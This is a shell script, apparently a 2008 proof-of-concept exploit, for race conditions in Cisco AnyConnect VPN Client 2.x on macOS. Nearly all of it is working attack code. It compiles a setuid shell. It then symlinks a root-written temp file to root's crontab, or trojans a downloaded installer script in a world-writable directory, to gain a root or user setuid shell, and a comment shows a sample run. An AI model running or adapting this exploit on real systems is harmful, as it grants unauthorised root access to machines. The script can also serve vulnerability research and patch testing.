#!/bin/sh # Exploits a series of trivial race condition in Cisco's AnyConnect VPN # Client on Mac platforms. Tested only on version 2.2.0128, but I suspect # there is no reason for this not to work on any 2.x version until Cisco # fixes it. Similar vulnerabilities exist with the client on Linux platforms # too # # # Jon Hart , April 2008 SETUID_SHELL="" setuid_shell() { SH_C="sh_c-$$.c" # write out setuid shell echo "main() { seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }" > $SH_C # try like hell to get this shell compiled SETUID_SHELL=`mktemp /tmp/vpnshell-$$.XXXXXX` gcc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1 if [ $? != 0 ]; then cc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1 if [ $? != 0 ]; then echo "No cc/gcc found, or something went wrong" cp /bin/sh /tmp/sh SETUID_SHELL=/bin/sh fi fi rm -f $SH_C } crontab_pwn() { TARGET_FILE=$1 TARGET_USER=$2 if [ -h $TARGET_FILE ]; then echo "$TARGET_FILE already exists -- sloppy seconds! Best cleanup." rm -f $TARGET_FILE || exit 1 fi if [ -f $TARGET_FILE ]; then echo "$TARGET_FILE already exists" echo "Waiting ... but this probably won't work." while (true); do if [ ! -f $TARGET_FILE ]; then echo "$TARGET_FILE no longer exists -- Go time" break fi echo -n "." sleep 1 done fi TARGET_CRONTAB=/var/cron/tabs/$TARGET_USER if [ -f $TARGET_CRONTAB ]; then echo "$TARGET_USER crontab already exists. Cannot exploit." exit 1 fi crontab -l 2>&1 > /dev/null 2>&1 if [ $? -ne 0 ]; then USER_CRONTAB=`mktemp /tmp/crontab-$$.XXXXXX` echo "[*] Creating bogus cronjob for $USER so that cron is running" # Thanks to Marco Ivaldi and KF for this cat >> $USER_CRONTAB << EOF * * * * * /bin/echo > /dev/null EOF crontab $USER_CRONTAB rm -f $USER_CRONTAB fi echo "[*] Setting up to-be-setuid shell" setuid_shell echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob" ln -s $TARGET_CRONTAB $TARGET_FILE echo "[*] Waiting for symlink to be followed (AnyConnect must be launched)" while (true); do if [ ! -h $TARGET_FILE ]; then echo echo "[*] $TARGET_FILE disappeared. Installer probably starting" echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob" ln -s $TARGET_CRONTAB $TARGET_FILE fi if [ -f $TARGET_CRONTAB -a -w $TARGET_CRONTAB ]; then rm -f $TARGET_FILE cat /dev/null > $TARGET_CRONTAB echo "* * * * * /usr/sbin/chown $TARGET_USER $SETUID_SHELL; /bin/chmod 4555 $SETUID_SHELL; /usr/bin/crontab -r" > $TARGET_CRONTAB echo echo "[*] $TARGET_USER cronjob written" break else echo -n "." sleep 1 fi done rm -f $TARGET_FILE echo "[*] Waiting for shell (could take up to 60s)" while (true); do if [ -u $SETUID_SHELL ]; then echo echo "[*] Success -- setuid $TARGET_USER shell is $SETUID_SHELL" exec $SETUID_SHELL else echo -n "." sleep 1 fi done } method_1() { # Our target is /tmp/routechangesv4.bin, which gets written mode 666 by the # root user every time the client is launched. Technique is to symlink it # to a hopefully non-existent root crontab, and then modify that crontab # when it gets installed to do our bidding. This is also exploitable at # install time, albeit a bit less reliably. # # jhart-mac:/tmp test$ id # uid=502(test) gid=502(test) groups=502(test) # jhart-mac:/tmp test$ uname -a # Darwin jhart-mac 8.11.1 Darwin Kernel Version 8.11.1: Wed Oct 10 18:23:28 PDT 2007; root:xnu-792.25.20~1/RELEASE_I386 i386 i386 # jhart-mac:/tmp test$ ./cisco-anyconnect-mac-exploit.sh # [*] Cisco AnyConnect 2.2.0128 (2.x) Mac race condition exploit(s) # [*] by Jon hart # # [*] Exploiting /tmp/routechangesv4.bin race condition for local root # [*] Setting up to-be-setuid shell # [*] Creating symlink for /tmp/routechangesv4.bin to root cronjob # [*] Waiting for symlink to be followed (AnyConnect must be launched) # ...................... # [*] root cronjob written # [*] Waiting for shell (could take up to 60s) # ..................................... # [*] Success -- setuid root shell is /tmp/vpnshell-9697.ChTOoK # sh-2.05b# id # uid=0(root) gid=0(wheel) groups=0(wheel) echo "[*] Exploiting /tmp/routechangesv4.bin race condition for local root" crontab_pwn "/tmp/routechangesv4.bin" root } method_2() { # This method counts on a hardcoded "temporary" directory that # VPNJava.jar uses to place the vpndownloader.sh script. The exploit # technique here is to create the temporary directory world writable, # wait for AnyConnect to drop vpndownloader.sh in there and then swap it # out with a version that we control. This is exploitable when # AnyConnect is first installed or if it determines at runtime that # a new version is available from the VPN server. This does not yield # root. This gets you a setuid shell as the user running AnyConnect TARGET_DIR="/tmp/Temp8-Vpn2e8" echo "[*] Exploiting $TARGET_DIR race condition for local seteuid shell" TARGET_FILE="$TARGET_DIR/vpndownloader.sh" SETUID_SHELL="/tmp/sh" if [ -d $TARGET_DIR -a -O $TARGET_DIR ]; then rm -Rf $TARGET_DIR elif [ -d $TARGET_DIR ]; then echo "$TARGET_DIR already exists as a directory -- Cisco AnyConnect VPN client already installed. This exploit method will not work." exit 1 fi mkdir $TARGET_DIR chmod 777 $TARGET_DIR echo "[*] Waiting for installer to create $TARGET_FILE" while (true); do if [ -f $TARGET_FILE ]; then echo echo "[*] $TARGET_FILE created" # Attempt to salvage and use what is downloaded so as not to ruin # the user experience. Generally does not work given huge # variances in system load and bandwidth. Its the thought that # counts, though. cp $TARGET_FILE $TARGET_FILE.$$ rm -f $TARGET_FILE SETUID_SHELL="/tmp/vpnshell-$$" cat > $TARGET_FILE << EOF #!/bin/sh cp /bin/ksh $SETUID_SHELL chmod 4555 $SETUID_SHELL $TARGET_FILE.$$ "\$*" EOF chmod 755 $TARGET_FILE $TARGET_FILE.$$ break else echo -n "." sleep 1 fi done echo "[*] Waiting for seteuid user shell" while (true); do if [ -u $SETUID_SHELL ]; then echo echo "[*] Success: seteuid shell is $SETUID_SHELL:" exec $SETUID_SHELL else echo -n "." sleep 1 fi done } method_3() { echo "[*] Exploiting /tmp/vpn-uninstall.log for ... nothing yet" crontab_pwn "/tmp/vpn-uninstall.log" root } echo "[*] Cisco AnyConnect 2.2.0128 (2.x) Mac race condition exploit(s)" echo "[*] by Jon hart " echo if [ "X$1" == "X1" ]; then method_1 elif [ "X$1" == "X2" ]; then method_2 elif [ "X$1" == "X3" ]; then method_3 else method_1 fi